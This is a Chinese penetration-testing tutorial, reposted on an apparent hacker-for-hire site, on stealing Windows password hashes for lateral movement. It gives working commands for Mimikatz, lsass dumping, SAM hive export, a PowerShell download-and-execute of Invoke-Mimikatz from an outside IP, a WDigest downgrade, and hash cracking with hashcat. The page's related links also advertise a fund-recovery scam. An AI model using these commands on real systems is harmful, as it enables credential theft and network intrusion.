当前位置:首页 > 网络安全 > 正文内容

内网横向移动研究:获取域内单机密码与Hash

访客4年前 (2021-04-15)网络安全857

横向移动

在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。

在内网渗透中,很多横向移动的方法都需要攻击者先获取域用户的密码或者Hash值才能进行,比如哈希传递攻击、各种票据传递,还有黄金票据维持权限等等。在这篇文章中,我们先来讲解一下横向移动中获取域内单机密码的方法,下篇文章再来讲那几种攻击手段。由于近期一直在准备“蓝帽杯”得比赛,所以一直没有时间更新,文章可能略显仓促,不足之处还请多多指教。

本文专为想我一样正在入门的小白准备,大佬请路过!

Windows中的密码

在Windows2000以后,Windows机器都用NTLM算法在本地保存用户的密码,密码的NTLM哈希保存在%SystemRoot%\System32\config\SAM文件中。 Windows操作系统通常使用两种方法对用户的密码进行哈希处理,即 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所谓哈希(Hash),即使用一种加密方法对明文密码进行加密,对一个任意长度的字符串数据进行一次加密运算,都可以返回一个固定长度的字符串。Windows加密过的密码口令,我们称之为Hash。

Windows操作系统中的密码一般由两部分组成:一部分为LM Hash,另一部分为NTLM Hash。在Windows中,Hash的结构通常如下:

Username:RID:LM-Hash:NT-Hash

在windows2000以后的系统中,第一部分的 LM-hash 都是空值,因为LM-hash可以很容易的破解,所以windows2000之后这个值默认为空,所以第二部分的NTLM-hash才真正是用户密码的哈希值。

在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件(在域环境中,用户信息存储在NTDS.dit中)中获得所有用户的Hash。也可以通过Mimikatz读取lsass.exe进程获得已登录用户的NTLM hash和明文值 。

详情请见:https://blog.csdn.net/qq_36119192/article/details/85941222

获取明文密码或密码Hash

获取到Hash后,我们可以用破解工具来破解得到明文密码,也可以进行哈希传递攻击(PTH)来横向渗透。

PwDump7工具

下载地址:https://www.openwall.com/passwords/windows-pwdump

Pwdump7可以在CMD下提取出系统中的用户的密码hash (包括LM和NTLM),需要系统权限,“骨灰”级黑客玩家可能听说过这个玩具。通过Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密码,对进一步渗透是有很大帮助的。

工具使用很简单,只需在命令行环境中运行Pwdump7程序,即可得到当前系统中各个用户的密码Hash (包括LM和NTLM):

Mimikatz工具

下载地址:https://github.com/gentilkiwi/mimikatz

Mimikatz是由法国人Benjamin开发的一款功能强大的轻量级调试工具,因功能强大,能够直接读取Windows操作系统的明文密码,因而闻名于渗透测试领域。通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe?进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了KB2871997补丁或者系统版本大于win10或windows server 2012时,默认在内存缓存中禁止保存明文密码,这样利用mimikatz就不能从内存中读出明文密码了,但可以通过修改注册表的方式抓取明文。

Mimikatz读取明文密码和hash也时最常用的方法。需要管理员权限。

privilege::debug // 提升至debug权限 sekurlsa::logonpasswords // 抓取密码

Procdump是微软官方发布的工具,所以杀软不会拦截,其可以用来将目标lsass文件导出。下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

先用在目标机器上传微软的工具Procdump,导出其lsass.exe:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

将在目标机器上导出的lsass.dmp下载到本地后,执行mimikatz导出lsass.dmp里面的密码和hash:

sekurlsa::minidump 目录\lsass.dmp // 将导出的lsass.dmp载入到mimikatz中 sekurlsa::logonpasswords full // 获取密码

通过SAM和System文件抓取密码和Hash

先利用注册表命令将目标机的sam或system文件导出,需要管理员权限:

reg save hklm\sam sam.hive reg save hklm\system system.hive

然后,将目标机上的sam.hive和system.hive下载到本地,利用mimikatz读取sam和system文件获取NTLM Hash:

lsadump::sam /sam:sam.hive /system:system.hive

也可以直接使用mimikatz读取本地SAM文件,获得密码Hash:

privilege::debug token::elevate lsadump::sam

Quarks PwDump工具

下载地址:https://github.com/quarkslab/quarkspwdump

Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。目前支持Windows XP/2003/Vista/7/8版本,相当稳定。

使用需要管理员权限:

QuarksPwDump.exe --dump-hash-local // 导出本地hash值
QuarksPwDump.exe -dhl QuarksPwDump.exe -dhdc // 导出内存中的域控哈希值
QuarksPwDump.exe --dump-hash-domain-cached

使用Powershell脚本

使用powershell脚本加载mimikatz模块获取密码,该脚本位于powersploit后渗透框架中,下载地址:https://github.com/PowerShellMafia/PowerSploit

通过在目标机上远程下载执行该powershell脚本即可获取密码,需要管理员权限。

powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" powershell -exec bypass -c "& {Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCreds}"

Windows密码哈希破解方法

ophcrack在线破解

获取到密码hash后,我们要对其进行破解,以得到明文密码。如今网上有很多的网站提供在线密码破解服务,在获取密码哈希后,可以对其进行在线破解。

网址:https://www.objectif-securite.ch/en/ophcrack

将得到的NTLM Hash输入到第一个查询框内,点击GO即可进行破解,小于14位的密码一般在几分钟内就可以破解完成:

ophcrack工具

ophcrack是一款Windows密码哈希值破解工具,其官方给我们提供了几十GB的哈希表。

ophcrack下载地址:https://ophcrack.sourceforge.io/

ophcrack提供的彩虹表下载地址:https://ophcrack.sourceforge.io/tables.php

ophcrack使用十分简单,打开程序,点击Load导入哈希值,然后通过加载Tables后,执行Crack即可进行破解:

ophcrack详情见:https://blog.csdn.net/m0_37438418/article/details/80157535

Hashcat工具

Hashcat号称是世界上最快的密码破解工具,世界上第一个和唯一一个基于GPGPU规则的引擎。

Windows版下载地址:https://hashcat.net/hashcat/

linux版下载地址:https://github.com/hashcat/hashcat

下载下来之后,进入其源码的目录执行“make && make install”命令即可编译安装。

执行“hashcat -h”进入帮助页面:

(1)-m 指定哈希值类型

比如我们常用的有

  • -m 1000:NTLM
  • -m 5600:Net-NTLMv2
  • -m 5500:NetNTLMv1 / NetNTLMv1+ESS
  • -m 0:MD5
  • -m 2500:WPA/PSK

更多哈希类型请见官网:https://hashcat.net/wiki/doku.php?id=example_hashes

(2)-a 指定破解模式

  • -a 0:字典模式
  • -a 1:组合模式
  • -a 3:掩码暴力破解

rules目录下存放着生成字典的各种规则,我们在当前目录下将基础信息保存在 base.txt文件中

将准备好的字典passwords.txt和需要破解的哈希值文件hash.txt放置到hashcat所在目录下

https://www.freebuf.com/articles/network/hashcat -m xx -a 0 <hashfile> <passwords.list1> <passwords.list2>
https://www.freebuf.com/articles/network/hashcat -m 1000 -a 0 hash.txt -o result.txt passwords.txt
https://www.freebuf.com/articles/network/hashcat -m 1000 -a 0 NTLM Hash passwords.txt

-a 0:指定以字典模式破解。

-m xx:指定hashfile文件里的哈希值类型。

-o:把破解到的结果写入文件

<hashfile>:将多个哈希值存入文件,等待破解。

<passwords.list>:指定字典文件。

Hashcat的功能十分强大,能干的时很多,你们自己去慢慢探索,愉快的折腾吧!

相关防范措施

微软为了防止用户的明文密码在内存中泄露,发布了KB2871997补丁,关闭了Wdigest功能。Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。

在命令行环境开启或关闭Wdigest Auth,有如下两种方法:

使用 red add命令

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f // 开启Wdigest Auth reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f // 关闭Wdigest Auth

攻击方法:需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令。

Nishang中的Invoke-MimikatzWDigestDowngrade脚本集成了这个功能,地址如下:

https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1

Ending......

本节,我们介绍了在内网渗透中获取域内单机密码和Hash的方法,获取到Hash后,我们可以使用工具进行爆破,获得明文密码,也可以用来哈希传递、票据传递等方法来对内网进行横向渗透,对内网渗透还是很有用的。

在下节中,我们将具体详细的讲解PTH、PTT等内网横向移动手法。

参考:

https://www.cnblogs.com/-mo-/p/11890232.html

https://blog.csdn.net/m0_37438418/article/details/80157535

https://blog.csdn.net/tonghua6/article/details/45154317

https://yq.aliyun.com/articles/496300

《Sqlmap从入门到精通》

由于近期一直在准备“蓝帽杯”得比赛,所以一直没有时间更新,文章可能略显仓促,不足之处还请多多指教。

个人博客:https://whoamianony.top/

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106463.html

分享给朋友:

“内网横向移动研究:获取域内单机密码与Hash” 的相关文章

立秋是几月几日

说到立秋,大家可能还会觉得比较远,确实算一下也还有将近一个月的时间,大家知道今年的立秋是在什么时候吗,具体的时间是2020年8月7日09:06:03,星期五,农历六月十八,因此在这一天大家就可以吃很多的美食,那么接下来大家就随百思特小编一起了解看看~   立秋是几月...

黑客追款出款成功再收费「24小时在线的黑客追款」

据公务员期刊网2021年10月14日18:37:49的最新发布,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,黑客追款出款成功再收费。可能没有机会接触到钱。那时候我就有想过退步。 一、黑客追回网赌40万 首先确保整个无前期费用黑客追款方案是最有效的,在做一件黑客...

宝钢价格行情最新报价,宝钢股份2021年10月钢材价格

宝钢钢材的价格:宝钢3Cr2W8V圆钢,故11、多家钢厂纷纷出台四季度价格调整方案,钢坯出口下降,月份钢材价格走势不容乐观。 要全面考虑下.关于2008年12月宝钢股份碳钢产品钢材价格国内期货销售价格调整的通知发布时间:2008-10-2014:03:06源自-宝钢股份,宝钢每月都公布下月的出厂价格...

53度最便宜酱香郎酒_郎酒经典酱香53度

我一朋友,500多到600多,10年红花郎288,现在估价至少在2000元以上,郎酒老郎酒淡雅2002年出厂,三星,关键是看款型,1992年53-1度酱香型。 郎酒还是1898起步比较好。对了,或者以前的,未来两年必定疯长!不知道怎么上图,现在的价格是158元每瓶便宜,你好。 看目前郎酒的上涨势头,...

定增一般需要多长时间,定增价格确定后股票走势

就会增加公司的流通股,标签:增发定向投资机会瞄准四个南京医药投资者报分类:股票为什么留意这样的股票,先是股东大会审议通过,不低于20个交易日的平均价格,具体来讲,一般需要至少半年以上。2011-05-1815:56:01,定向增发流程现在相对是比较简单的,另外,而是证监会。 或大概后说个区间,中国证...

上海南京东路站街伴游2019-【杨雅瑄】

“上海南京东路站街伴游2019-【杨雅瑄】” 上海伴游陪游旅行网顾建军,上海伴游网顾建军的详细资料一:找真实的经纪人龙家住广州天河区的王先生最近咨询小编问 广州如何学生伴游 ,怎么能获得他们联系方式大家可以先通过百,104,广州学生伴游联系方式,广州商务伴游预约,家住广州天河区的王先生最近咨询小编问...

评论列表

孤鱼邶谌
3年前 (2022-07-06)

密码破解服务,在获取密码哈希后,可以对其进行在线破解。网址:https://www.objectif-securite.ch/en/ophcrack将得到的NTLM Hash输入到第一个查询框内,点击GO即可进行破解,小于14位的密

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。